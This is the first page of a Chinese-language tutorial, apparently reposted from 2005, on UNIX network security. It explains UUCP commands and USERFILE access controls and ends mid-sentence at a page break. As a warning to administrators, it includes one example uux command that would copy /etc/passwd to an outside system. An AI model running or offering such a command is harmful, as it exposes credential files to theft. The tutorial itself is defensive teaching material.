| 网站首页 | 硬件维修 | 应用学院 | 网络组建 | 网站制作 | 菜鸟黑客 | 编程之道 | 数码大全 | 娱乐休闲 | 软件下载 | 在线视频 | 请您留言 | 技术论坛 | 
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
  • 代理服务器软件冲突导致的网…

  • 利用测试网站检测出你的浏览…

  • 网易推出280M网络硬盘—网盘

  • 快乐用网 手把手教你带网络名…

  • 让图片在网络永存 广州视窗相…

  • 快快申请 streamload提供10G…

  • 代理服务器软件冲突导致的网…

  • 卸载网络实名步步跟进

  • 集成专业网络书签的Sail Bro…

  • Firefox推出1.5测试版 导航速…

  • Q
    您现在的位置: 我是IT人 >> 应用学院 >> 操作系统 >> Unix >> 教程正文
    网络安全           
    网络安全
    作者:网络 文章来源:转载 点击数: 更新时间:2005-8-15
    [ 字体:缩小 正常 放大 | 双击自动滚屏 ]
    请选择合适的字体颜色:


    本文主要讨论网络和数据通讯安全,分为六个部分.第一部分概述最大,最老
    的UNIX网络UUCP系统;第二部分讨论UUCP的安全;第三部分讨论新HONEY DANBER
    UUCP及安全特点;第四部分讨论其它的UNIX网络,其中包括RJE和NSC;第五部分讨
    论通讯的物理安全;最后一部分讨论Sun Microsystem公司的Sun OS系统的网络
    安全.

    1.UUCP系统概述
    UUCP系统是一组程序,完成文件传输,执行系统之间的命令,维护系统使用情
    况的统计,保护安全.UUCP是UNIX系统最广泛使用的网络实用系统,这其中在两个
    原因:第一,UUCP是各种UNIX版本都可用的唯一的标准网络系统,第二,UUCP是最
    便宜的网络系统.只需要一根电缆连接两个系统,然后就可建立UUCP.如果需要在
    相距数百或数千公里远的两个系统间传输数据,中需要两个具有拨号功能的调制
    解调器.

    (1)UUCP命令
    UUCP命令之一是uucp,该命令用于两系统间的文件传输,uucp命令格式类
    似于cp命令的格式,只是uucp允许用户有系统间拷贝文件,命令的一般格式如
    下:
    uucp source_file destination_file
    source_file通常是本系统的文件(但不必一定是),destination_file通
    常是另一系统的文件或目录.指定destination_file的格式为:
    system!filename或system!directory.
    uucp给系统管理员提供了一个选项,可以限制传入和传出本系统的uucp文
    件只能传到/usr/spool/uucppublic目录结构中.若告诉uucp将传输的文件存
    放在其他目录中,系统将会送回一个邮件:remote access to path / file
    denied. uucp允许以简化符号~代替/usr/spool/uucppublic/.如:
    uucp names remote!~/john/names
    有时也可用uucp将文件从另一个系统拷贝到本系统,只要将要传入本系统
    的文件指定为源文件(用system!file)即可,如:
    uucp remotes!/usr/john/file1 file1
    如果在远地机限制了文件传输的目录,上条命令不能拷贝到文件.拷贝文
    件到本系统的最安全的方法是:在两个系统上都通过uucppublic目录进行文件
    传输:
    uucp remotes!~/john/file1 ~/pat/file1

    (2)uux命令
    uux命令可用于在另一个系统上执行命令,这一特点称为"远程命令仞行".
    uux最通常的用处是在系统之间发送邮件(mail在其内部执行uux).典型的uux
    请求如下:
    pr listing| uux - "remote1!lp -d pr1"
    这条命令将文件listing格式编排后,再连接到系统remote1的打印机pr1
    上打印出来.uux的选项"-"使uux将本命令的标准输入设备建立为远程命令的
    标准输入设备.当若干个系统中只有一个系统连接了打印机时,常用uux打印文
    件.
    当然必须严格地限制远程命令招待,以保护系统安全.如:
    本系统不应允许其它系统上的用户运行下面的命令:
    uux "yoursys!uucp yoursys!/etc/passwd (outside!~/passwd)"
    这条命令将使本系统传送/etc/passwd文件到系统outside上,一般地,只
    有几条命令允许地执行.rmail是加限制的mail程序,常常为允许通过uux执行
    的命令之一.也允许rnews(加限制的netnews伪脱机命令)在运行netnews的系
    统上执行,还允许lp在提供了打印设备的系统上运行.

    (3)uucico程序
    uucp和uux命令实际上并不调用另一个系统及传送文件和执行命令,而是
    将用户的请求排入队列,并启动uucico程序.uucico完成实际的通讯工作.它调
    用其它的系统,登录,传送数据(可以是文件或请求远程命令执行).如果电话线
    忙,或其它系统已关机,传输请求仍针保留在队列中,uucico后续的职能操作
    (通常是cron完成)将发送这些传输请求.
    uucico完成数据的发送和接收.在本系统的/etc/passwd文件中,有其它系
    统的uucico登录进入本系统的入口项,该入口项中指定的缺省shell是uucico.
    因此,其它系统调用本系统时,直接与uucico对话.

    (4)uuxqt程序
    当另一系统的uucico调用本系统请求远程命令执行时,本系统的uucico将
    该请求排入队列,并在退出之前,启动uuxqt程序执行远程命令请求.
    下面举例说明数据是如何传输的.假设本系统的一个用户发送邮件给另一
    远程系统remote1的某人,mail会执行uux,在remote1系统上远程地运行remail
    程序,要传送的邮件为remail命令的输入.uux将传输请求排入队列,然后启动
    uucico招待实际的远程调用和数据传输.如果remote1响应请求,uucico登录到
    remote1,然后传送两个文件:邮件和将在remote1上由uuxqt执行的uux命令文
    件.uux命令文件中含有运行remail请求.如果remote1在被调时已关机,uucico
    则将无法登和传送文件,但是cron会周期地(1小时)启动uucico.uucico查找是
    否有还未传送出的数据,若发现uux指定的传输目标系统是remote1,就尝试再
    调用remote1,直到调通remote1为止,或者过了一定天数仍未调通remote1,未
    送出的邮件将作为"不可投递"的邮件退回给发送该邮件的用户.

    2.UUCP的安全问题
    UUCP系统未设置限制,允许任何本系统外的用户执行任何命令和拷贝进/出
    uucp用户可读/写的任何文件.在具体的uucp应用环境中应了解这点,根据需要设
    置保护.
    在UUCP中,有两个程序处理安全问题.第一个是uucico程序,该程序在其它系
    统调用本系统时启动.这个程序是本系统uucp安全的关键,完成本系统文件传输
    的传进和传出.第二个程序是uuxqt,该程序为所有的远程命令执行服务.

    (1)USERFILE文件
    uucico用文件/usr/lib/uucp/USERFILE确定远程系统发送或接收什么文
    件,其格式为:
    login,sys[c] path_name [path_name...]
    其中login是本系统的登录名,sys是远程系统名,c是可选的call_back标
    志,path_name是目录名.
    uucico作为登录shell启动时,将得到远程系统名和所在系统的登录名,并
    在USERFILE文件中找到匹配login和sys的行.如果该行含有call_back标志c,
    uucico将不传送文件,连接断开,调用远程系统(即,任何系统可以告诉本系统
    它的名是xyz,于是本系统挂起,调用实际的xyz执行文件传输),若无c,uucico
    将执行远程系统请求的文件传送,被传送的文件名被假定为以path_name开头
    的.
    用户需要了解以下几点:
    . 如果远程系统使用的登录名未列于USERFILE的登录域中,uucico将拒绝
    允许其它系统做任何事,并挂起.
    . 如果系统名未列于sys域中,uucico将使用USERFILE中有匹配的登录名
    和空系统名的第一行,如:nuucp,/usr/spool/uucppublic应用到作为
    nuucp登录的所有系统.cbuucp,c将迫使作为cbuucp登录的所有系统自
    己执行文件传输的请求.若调用系统名不匹配sys系统中的任何一个,并
    且无空入口项,uucico也将拒绝做任何事.
    . 若两个机器都设置了call_back标志,传送文件的请求决不会被执行,两
    个系统一直互相调用,直到两个系统中的一个取消call_back时,才能进
    行文件传送.
    . 如果一个用户的登录名列于USERFILE文件的login域中,则当调用本系
    统的uucico为该用户传送文件时,uucico只传送至path_name指定的目
    录中的文件.空登录名用于所有未明确列于USERFILE文件中的用户进行
    登录.所以
    pat,/usr/pat
    只允许pat传送/usr/pat目录结构中的文件.
    ,/usr/spool/uucppublic /tmp
    其他用户仅允许传送目录/usr/spool/uucppublic和/tmp中的文件.
    不要允许uucico将文件拷进/出到除了/usr/spool/uucppublic目录以

    [1] [2] [3] [4] [5] [6] [7] [8] 下一页  

    教程录入:小秦    责任编辑:小秦 
  • 上一篇教程:

  • 下一篇教程: 没有了
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系站长 | 关于我们 | 友情链接 | 版权申明 |